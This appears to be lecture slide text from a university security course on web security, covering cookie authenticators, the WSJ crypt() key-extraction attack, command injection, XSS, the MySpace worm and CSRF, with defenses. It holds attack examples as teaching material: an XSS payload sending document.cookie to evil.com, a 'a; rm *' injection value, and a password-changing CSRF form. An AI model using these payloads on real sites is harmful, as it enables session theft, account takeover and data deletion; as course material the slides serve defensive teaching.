Goals for Today

- Vulnerability disclosure?
- Web security

- HW2 out last week
- Lab 2 due this week
Web Security
Browser and Network

Browser

OS

Hardware

Network

website

request

reply
Types of problems

❖ Web browser problems (client side)
  • Exploit vulnerabilities in browsers
  • Install botnets, keyloggers
  • Exfiltrate data

❖ Web application code (server side)
  • Exploit vulnerabilities in code running on servers (and coming from servers)
  • Examples: XSS, XSRF, SQL injection, clickjacking, insecure parameters, security misconfigurations
  • Steal user credentials, data from databases, ...
Example Questions

- How do websites know who you are?
- How do you know who the website is?
- Can someone intercept traffic?
- Related: How can you better control flow of information?

- Explorations: Where were we; where have we come from?
User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758

- With special URL, user doesn’t need to re-authenticate
  - Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT...

Authenticators are global sequence numbers

- It’s easy to guess sequence number for another user

  https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752

- Partial fix: use random authenticators
Bad Idea: Encoding State in URL

- Unstable, frequently changing URLs
- Vulnerable to eavesdropping
- There is no guarantee that URL is private
Cookies
A cookie is a data blob created by an Internet site to store information on your computer.

- **Browser** enters form data.
- **Server** stores the cookie.
  - Includes domain (who can read it), expiration, "secure" (can be read only over SSL).
- **Browser** sends cookies later to the **Server**.
What Are Cookies Used For?

- **Authentication / Authorization**
  - Who is the user corresponding to this request?
  - Is the party making the request authorized to access this resource?

- **Personalization**
  - Customized UI

- **Tracking**
  - Follow the user from site to site; learn his/her browsing behavior, preferences, and so on
Web Authentication via Cookies

- Need authentication system that works over HTTP and does not require servers to store session data

- Servers can use cookies to store state on client
  - When session starts, server computes an authenticator and gives it back to browser in the form of a cookie
    - Authenticator is a value that client cannot forge on his own
    - Example: MAC(server’s secret key, session id)
  - With each request, browser presents the cookie
  - Server recomputes and verifies the authenticator
    - Server does not need to remember the authenticator
Typical Session with Cookies

**client**

- POST /login.cgi
  - Set-Cookie:authenticator

**server**

- Verify that this client is authorized
  - Check validity of authenticator (e.g., recompute hash(key,.sessId))

- GET /restricted.html
  - Cookie:authenticator

Restricted content

Authenticators must be **unforgeable and tamper-proof**
(malicious client shouldn’t be able to compute his own or modify an existing authenticator)
Cookie Management

**Cookie ownership**
- Once a cookie is saved on your computer, only the website that created the cookie can read it (supposedly)

**Variations**
- **Session cookies**
  - Stored until you quit your browser
- **Persistent cookies**
  - Remain until deleted or expire
- **Third-party cookies**
  - Set by sites embedded within other sites (e.g., ads)
Privacy Issues with Cookies

- Cookie may include any information about you known by the website that created it
  - Browsing activity, account information, etc.
- Sites can share this information
  - Advertising networks
Storing State in Browser

◆ Dansie Shopping Cart (2006)
  • “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.”

<FORM METHOD=POST
ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">
    Delicious, organic, fair trade cereal<br>Price <INPUT TYPE=HIDDEN NAME=price VALUE='20.00'>
    <INPUT TYPE=HIDDEN NAME=name VALUE="Cereal">
    <INPUT TYPE=HIDDEN NAME=sh VALUE="1">
    <INPUT TYPE=HIDDEN NAME=img VALUE="cereal.jpg">
    <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Delicious cereal">
    <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">
</FORM>
Shopping Cart Form Tampering

Many Web-based shopping cart applications use hidden fields in HTML forms to hold parameters for items in an online store. These parameters can include the item's name, weight, quantity, product ID, and price. Any application that bases price on a hidden field in an HTML form is vulnerable to price changing by a remote user. A remote user can change the price of a particular item they intend to buy, by changing the value for the hidden HTML tag that specifies the price, to purchase products at any price they choose.

Platforms Affected:

- 3D3.COM Pty Ltd: ShopFactory 5.8 and earlier
- @Retail Corporation: @Retail Any version
- Adgrafix: Check It Out Any version
- Baron Consulting Group: WebSite Tool Any version
- ComCity Corporation: SalesCart Any version
- Crested Butte Software: EasyCart Any version
- Dansie.net: Dansie Shopping Cart Any version
- Intelligent Vending Systems: Intellivend Any version
- Make-a-Store: Make-a-Store OrderPage Any version
- McMurtrey/Whitaker & Associates: Cart32 2.6
- McMurtrey/Whitaker & Associates: Cart32 3.0
- pknutsen@nethut.no: CartMan 1.04
- Rich Media Technologies: JustAddCommerce 5.0
- SmartCart: SmartCart Any version
- Web Express: Shoptron 1.2

http://xforce.iss.net/xforce/xfdb/4621
Storing State in Browser Cookies

- Set-cookie: price=299.99
- User edits the cookie... cookie: price=29.99
- What’s the solution?
  - *IF* store information on client, then add a MAC to every cookie, computed with the server’s secret key
    - Price=299.99; MAC(ServerKey, 299.99)
Storing State in Browser

Dansie Shopping Cart (2006)

- “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.”

Better: MAC(K, “$20, Delicious cereal, product number 12345, …”)
WSJ.com circa 1999 [due to Fu et al.]

❖ Idea: use `user,hash(user||key)` as authenticator
  • Key is secret and known only to the server. Without the key, clients can’t forge authenticators.
  • `||` is string concatenation

❖ Implementation: `user,crypt(user||key)`
  • `crypt()` is (classic) UNIX hash function for passwords
  • `crypt()` truncates its input at 8 characters
  • Usernames matching first 8 characters end up with the same authenticator
  • No expiration or revocation

❖ It gets worse... This scheme can be exploited to extract the server’s secret key
## Attack

<table>
<thead>
<tr>
<th>username</th>
<th>crypt(username,key,“00”)</th>
<th>authenticator cookie</th>
</tr>
</thead>
<tbody>
<tr>
<td>AliceBob1</td>
<td>008H8LRfzUXvk</td>
<td>AliceBob1008H8LRfzUXvk</td>
</tr>
<tr>
<td>AliceBob2</td>
<td>008H8LRfzUXvk</td>
<td>AliceBob2008H8LRfzUXvk</td>
</tr>
</tbody>
</table>

“Create” (in quotes!) an account with a 7-letter user name...

| AliceBoA     | 0073UYEre5rBQ             | Try logging in: access refused  |
| AliceBoB     | 00bkHcfOXBKno             | Access refused                  |
| AliceBoC     | 00ofSJV6An1QE             | Login successful! 1st key symbol is C |

Now a 6-letter user name...

| AliceBCA     | 001mBnBERXRuc             | Access refused                  |
| AliceBCB     | 00T3JLLfuspdo             | Access refused... and so on      |

- Only need 128 x 8 queries instead of intended 128^8
- Minutes with a simple Perl script vs. billions of years
Better Cookie Authenticator

- **Capability**
  - Describes what user is authorized to do on the site that issued the cookie

- **Expiration**
  - MAC(server secret, capability, expiration)
  - Cannot be forged by malicious user; does not leak server secret

**Main lesson:** be careful rolling your own
- Homebrewed authentication schemes are easy to get wrong

**There are standard cookie-based schemes**

**The capability and expiration date could be authenticated references to indices on the server, and the actual capabilities could be stored there.**
Web Applications

- Online banking, shopping, government, etc.
- Website takes input from user, interacts with back-end databases and third parties, outputs results by generating an HTML page
- Often written from scratch in a mixture of PHP, Java, Perl, Python, C, ASP, ...
- Security is a potential concern.
  - Poorly written scripts
  - Sensitive data stored in world-readable files
General issue: Inadequate Input Validation

- \texttt{http://victim.com/copy.php?name=\textit{username}}
- \texttt{copy.php includes system(“cp temp.dat $name.dat”)}
- User calls \texttt{http://victim.com/copy.php?name=“a; rm *”}
- \texttt{copy.php executes system(“cp temp.dat a; rm *.dat”);}
JavaScript

Language executed by browser
- Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page

Often used to exploit other vulnerabilities
- Attacker gets to execute some code on user’s machine

Cross-site scripting:
- Attacker inserts malicious JavaScript into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site
JavaScript Security Model

- Script runs in a “sandbox”
  - Not allowed to access files or talk to the network
- Same-origin policy
  - Can only read properties of documents and windows from the same server, protocol, and port
  - If the same server hosts unrelated sites, scripts from one site can access document properties on the other
- User can grant privileges to signed scripts
  - UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
Risks of Poorly Written Scripts

◆ For example, echo user’s input

http://naive.com/search.php?term="Security is Happiness"
search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET['term'] ?>… </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html> Welcome, dear Bob </html>
Data flow

- User connects to **naive.com/hello.cgi?name=parameter**
- Server runs **hello.cgi** (taking into account parameters) and generates a webpage
- Server returns webpage to user
- User’s browser renders webpage
Examples

naive.com/hello.cgi?name=Bob

Welcome, dear Bob


Welcome, dear
So what?

• User-supplied data is shown to user
• Who cares?
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

Resulting code:

http://namb.la/popular/tech.html
MySpace Worm (3)

http://namb.la/popular/tech.html

- “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

- Started on “samy” MySpace page

- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

- 5 hours later “samy” has 1,005,831 friends
  - Was adding 1,000 friends per second at its peak
Stealing Cookies by Cross Scripting

Access some web page

<F R A M E S R C =
http://naive.com/hello.cgi?name=<script>win.open(
"http://evil.com/steal.cgi?
cookie="+document.cookie)
</script>>

Forces victim’s browser to call hello.cgi on naive.com with script instead of name

GET /steal.cgi?cookie=

GET/ hello.cgi?name=
<script>win.open("http://
evil.com/steal.cgi?cookie="+
document.cookie)</script>

Hello, dear
<script>win.open("http://
evil.com/steal.cgi?cookie="
+document.cookie")</script>
Welcome!</HTML>

Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com
XSS Defenses

- Constantly evolving landscape
  - [http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet](http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)

- Defense in depth
  - Input validation
  - Escaping -- characters treated as data, not characters that are relevant to the interpreter’s parser
    - OWASP ESAPI (Enterprise Security API) (escaping library)
    - Microsoft AntiXSS (escaping library)

- First rule:
  - Don’t put untrusted data into HTML documents unless you escape (or know what you’re doing)
XSS Defenses

- `<body>` .... ESCAPE UNTRUSTED DATA ... `</body>`
  - Escape `&`, `<`, `>`, `"`, `'`, `/`
    - `&` --> `&amp;`
    - `<` --> `&lt;`
    - `>` --> `&gt;`
    - `"` --> `&quot;`
    - `'` --> `&#x27;`
    - `/` --> `&#x2F;`

- String
  safe=ESAPI.encoder().encodeForHTML(request.getParameter(“input”))

- HTTPOnly cookie: cookie only transmitted over HTTP, not accessible via JavaScript
  - Defense in depth (not supported by all browsers)

- More: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Cross Site Request Forgery

- Websites use cookies to authenticate you.
- Malicious website can initiate an action as you to a good website
  - Your cookie for the good website would be sent along with the request
  - Good website executes that action, thinking it was you
Changing Password with CSRF

evil.com

For example, embed URL in HTML email

Access some web page

<form ... action="https://good.com/update_acct"> <input name="passwd" value="owned"></form>
<script> (submit form) </script>

Forces victim's browser to submit a form to good.com. In that form is a new password.

victim's browser

GET /update_acct.cgi ... with "passwd=owned" and cookie

good.com

update_acct executed

users password changed to "owned"
 CSRF defenses

From http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

Use a Synchronizer Token Pattern.

- Generate random “challenge” token associated with user’s session
- Insert into HTML forms and links associated with sensitive server-side operations.
- HTTP request should include this challenge token.
- Server should verify the existence and correctness of this token.
CSRF defenses

◆ Example of Synchronizer Token Pattern
  • `<form action="/transfer.do" method="post">`
  • `<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZIYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGl4MjJjZDE1ZDZjMTViMGYwMGEwOA=="/>
  • ...
  • `</form>`

◆ Careful if use GET (URL) requests: may appear in browser histories, logs
Login CSRF

- Attacker can use CSRF to log you into their account
- Why?
  - Search engines can store search history; force user to log into attackers account; attacker can monitor user’s searches
  - Paypal: enter credit card number into attacker’s account
What do you do if you’ve found a security problem in a real system?

Say

- A commercial website?
- UW grade database?
- Boeing 787?
- TSA procedures?